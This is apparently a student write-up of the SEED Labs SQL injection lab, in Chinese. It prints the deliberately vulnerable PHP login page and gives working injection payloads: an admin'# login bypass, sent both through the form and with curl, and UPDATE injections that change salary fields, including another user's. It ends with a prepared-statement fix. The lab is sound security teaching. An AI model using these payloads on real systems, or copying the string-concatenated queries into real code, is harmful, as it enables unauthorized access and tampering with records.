SQL注入
task 1 熟悉SQL语句
我们这里使用docker搭建的www和mysql,docker-compose文件提供在附件。首先解压文件进入到Labsetup文件夹,然后按照以下步骤搭建环境:
- 通过
docker-compose build
开始构建多个docker,如下:
- 通过
docker-compose up
启动docker-compose
- 新建一个terminal通过
docker ps
查看mysql数据库镜像id
- 发现mysql的序列号是
c4e441c69754
,输入docker exec -it c4e /bin/bash
进入mysql镜像,并输入mysql -u root -p dees进入mysql数据库
- 查看相关数据库
task 2 通过SELECT语句注入
- 首先进入我们上述使用docker搭建的www网页页面,地址是
10.9.0.5
,可以在/etc/hosts
配置域名映射
- 为了更好的理解该方法,我们首先查看该网站的服务器页面的思路。查看位于
/var/www/SQL_Injection
的unsafe home.php
文件,该文件就是用来验证登录的文件
文件内容如下:
<!DOCTYPE html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<link href="css/style_home.css" type="text/css" rel="stylesheet">
<!-- Browser Tab title -->
<title>SQLi Lab</title>
</head>
<body>
<nav class="navbar fixed-top navbar-expand-lg navbar-light" style="background-color: #3EA055;">
<div class="collapse navbar-collapse" id="navbarTogglerDemo01">
<a class="navbar-brand" href="unsafe_home.php" ><img src="seed_logo.png" style="height: 40px; width: 200px;" alt="SEEDLabs"></a>
<?php
session_start();
// if the session is new extract the username password from the GET request
$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);
// check if it has exist login session
if($input_uname=="" and $hashed_pwd==sha1("") and $_SESSION['name']!="" and $_SESSION['pwd']!=""){
$input_uname = $_SESSION['name'];
$hashed_pwd = $_SESSION['pwd'];
}
// Function to create a sql connection.
function getDB() {
$dbhost="10.9.0.6";
$dbuser="seed";
$dbpass="dees";
$dbname="sqllab_users";
// Create a DB connection
$conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($conn->connect_error) {
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
die("Connection failed: " . $conn->connect_error . "\n");
echo "</div>";
}
return $conn;
}
// create a connection
$conn = getDB();
// Sql query to authenticate the user
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
if (!$result = $conn->query($sql)) {
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
die('There was an error running the query [' . $conn->error . ']\n');
echo "</div>";
}
/* convert the select return result into array type */
$return_arr = array();
while($row = $result->fetch_assoc()){
array_push($return_arr,$row);
}
/* convert the array type to json format and read out*/
$json_str = json_encode($return_arr);
$json_a = json_decode($json_str,true);
$id = $json_a[0]['id'];
$name = $json_a[0]['name'];
$eid = $json_a[0]['eid'];
$salary = $json_a[0]['salary'];
$birth = $json_a[0]['birth'];
$ssn = $json_a[0]['ssn'];
$phoneNumber = $json_a[0]['phoneNumber'];
$address = $json_a[0]['address'];
$email = $json_a[0]['email'];
$pwd = $json_a[0]['Password'];
$nickname = $json_a[0]['nickname'];
if($id!=""){
// If id exists that means user exists and is successfully authenticated
drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber);
}else{
// User authentication failed
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
echo "<div class='alert alert-danger'>";
echo "The account information your provide does not exist.";
echo "<br>";
echo "</div>";
echo "<a href='index.html'>Go back</a>";
echo "</div>";
return;
}
// close the sql connection
$conn->close();
function drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber){
if($id!=""){
session_start();
$_SESSION['id'] = $id;
$_SESSION['eid'] = $eid;
$_SESSION['name'] = $name;
$_SESSION['pwd'] = $pwd;
}else{
echo "can not assign session";
}
if ($name !="Admin") {
// If the user is a normal user.
echo "<ul class='navbar-nav mr-auto mt-2 mt-lg-0' style='padding-left: 30px;'>";
echo "<li class='nav-item active'>";
echo "<a class='nav-link' href='unsafe_home.php'>Home <span class='sr-only'>(current)</span></a>";
echo "</li>";
echo "<li class='nav-item'>";
echo "<a class='nav-link' href='unsafe_edit_frontend.php'>Edit Profile</a>";
echo "</li>";
echo "</ul>";
echo "<button onclick='logout()' type='button' id='logoffBtn' class='nav-link my-2 my-lg-0'>Logout</button>";
echo "</div>";
echo "</nav>";
echo "<div class='container col-lg-4 col-lg-offset-4 text-center'>";
echo "<br><h1><b> $name Profile </b></h1>";
echo "<hr><br>";
echo "<table class='table table-striped table-bordered'>";
echo "<thead class='thead-dark'>";
echo "<tr>";
echo "<th scope='col'>Key</th>";
echo "<th scope='col'>Value</th>";
echo "</tr>";
echo "</thead>";
echo "<tr>";
echo "<th scope='row'>Employee ID</th>";
echo "<td>$eid</td>";
echo "</tr>";
echo "<tr>";
echo "<th scope='row'>Salary</th>";
echo "<td>$salary</td>";
echo "</tr>";
echo "<tr>";
echo "<th scope='row'>Birth</th>";
echo "<td>$birth</td>";
echo "</tr>";
echo "<tr>";
echo "<th scope='row'>SSN</th>";
echo "<td>$ssn</td>";
echo "</tr>";
echo "<tr>";
echo "<th scope='row'>NickName</th>";
echo "<td>$nickname</td>";
echo "</tr>";
echo "<tr>";
echo "<th scope='row'>Email</th>";
echo "<td>$email</td>";
echo "</tr>";
echo "<tr>";
echo "<th scope='row'>Address</th>";
echo "<td>$address</td>";
echo "</tr>";
echo "<tr>";
echo "<th scope='row'>Phone Number</th>";
echo "<td>$phoneNumber</td>";
echo "</tr>";
echo "</table>";
}
else {
// if user is admin.
$conn = getDB();
$sql = "SELECT id, name, eid, salary, birth, ssn, password, nickname, email, address, phoneNumber
FROM credential";
if (!$result = $conn->query($sql)) {
die('There was an error running the query [' . $conn->error . ']\n');
}
$return_arr = array();
while($row = $result->fetch_assoc()){
array_push($return_arr,$row);
}
$json_str = json_encode($return_arr);
$json_aa = json_decode($json_str,true);
$conn->close();
$max = sizeof($json_aa);
echo "<ul class='navbar-nav mr-auto mt-2 mt-lg-0' style='padding-left: 30px;'>";
echo "<li class='nav-item active'>";
echo "<a class='nav-link' href='unsafe_home.php'>Home <span class='sr-only'>(current)</span></a>";
echo "</li>";
echo "<li class='nav-item'>";
echo "<a class='nav-link' href='unsafe_edit_frontend.php'>Edit Profile</a>";
echo "</li>";
echo "</ul>";
echo "<button onclick='logout()' type='button' id='logoffBtn' class='nav-link my-2 my-lg-0'>Logout</button>";
echo "</div>";
echo "</nav>";
echo "<div class='container'>";
echo "<br><h1 class='text-center'><b> User Details </b></h1>";
echo "<hr><br>";
echo "<table class='table table-striped table-bordered'>";
echo "<thead class='thead-dark'>";
echo "<tr>";
echo "<th scope='col'>Username</th>";
echo "<th scope='col'>EId</th>";
echo "<th scope='col'>Salary</th>";
echo "<th scope='col'>Birthday</th>";
echo "<th scope='col'>SSN</th>";
echo "<th scope='col'>Nickname</th>";
echo "<th scope='col'>Email</th>";
echo "<th scope='col'>Address</th>";
echo "<th scope='col'>Ph. Number</th>";
echo "</tr>";
echo "</thead>";
echo "<tbody>";
for($i=0; $i< $max;$i++){
//TODO: printout all the data for that users.
$i_id = $json_aa[$i]['id'];
$i_name= $json_aa[$i]['name'];
$i_eid= $json_aa[$i]['eid'];
$i_salary= $json_aa[$i]['salary'];
$i_birth= $json_aa[$i]['birth'];
$i_ssn= $json_aa[$i]['ssn'];
$i_pwd = $json_aa[$i]['Password'];
$i_nickname= $json_aa[$i]['nickname'];
$i_email= $json_aa[$i]['email'];
$i_address= $json_aa[$i]['address'];
$i_phoneNumber= $json_aa[$i]['phoneNumber'];
echo "<tr>";
echo "<th scope='row'> $i_name</th>";
echo "<td>$i_eid</td>";
echo "<td>$i_salary</td>";
echo "<td>$i_birth</td>";
echo "<td>$i_ssn</td>";
echo "<td>$i_nickname</td>";
echo "<td>$i_email</td>";
echo "<td>$i_address</td>";
echo "<td>$i_phoneNumber</td>";
echo "</tr>";
}
echo "</tbody>";
echo "</table>";
}
}
?>
<br><br>
<div class="text-center">
<p>
Copyright © SEED LABs
</p>
</div>
</div>
<script type="text/javascript">
function logout(){
location.href = "logoff.php";
}
</script>
</body>
</html>
仔细阅读上述php代码,可以看到该方法是从credential数据库中选择id,name,salary,ssn等信息,并且没有加任何prepare_statements,只是简单的字符串拼接,因此我们可以使用input_name
和hashed_pwd
两个参数来构造SQL注入,
- 从web页面构造SQL注入。我们这里将input_name设置为
admin'#
,而hashed_pwd
我们则不用填。其中#
号可以将SQL语句的后续内容忽略,这样我们就可以重新进入
- 从cmd行命令构造SQL注入。我们使用命令:
curl 'www.seed-server.com/unsafe_home.php?username=admin%27%23%26Password=11
测试代码
部分特殊符号对应urlencode
符号 | 意义 | urlencode |
---|---|---|
+ | URL 中+号表示空格 | %2B |
空格 | URL中的空格可以用+号或者编码 | %20 |
/ | 分隔目录和子目录 | %2F |
? | 分隔实际的URL和参数 | %3F |
% | 指定特殊字符 | %25 |
# | 表示书签 | %23 |
& | URL 中指定的参数间的分隔符 | %26 |
= | URL 中指定参数的值 | %3D |
成功获取管理员内容
task 3 通过UPDATE执行SQL注入
- 还是进入www的docker,查看更新Profile操作的关键代码,如下
$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
nickname=’$input_nickname’,
email=’$input_email’,
address=’$input_address’,
Password=’$hashed_pwd’,
PhoneNumber=’$input_phonenumber’
WHERE ID=$id;";
$conn->query($sql);
- 查看更新操作Profile页面
-
Edit页面并没有更新
salary
字段的方法,我们尝试使用SQL注入更改Salary
字段 -
编写SQL语句如下,原理:通过分号
;
可以继续编写多条语句。
在NickName中输入如下:
vchopin',Salary='3000
查看修改结果,修改成功
- 修改别人的
salary
字段
Boby',Salary='1' WHERE name = 'boby'#
- 防止注入–预处理机制
正常SQL语法:
$sql = "SELECT name, local, gender
FROM USER_TABLE
WHERE id = $id AND password =’$pwd’ ";
$result = $conn->query($sql)
使用Prepared Statements
$stmt = $conn->prepare("SELECT name, local, gender
FROM USER_TABLE
WHERE id = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();
评论区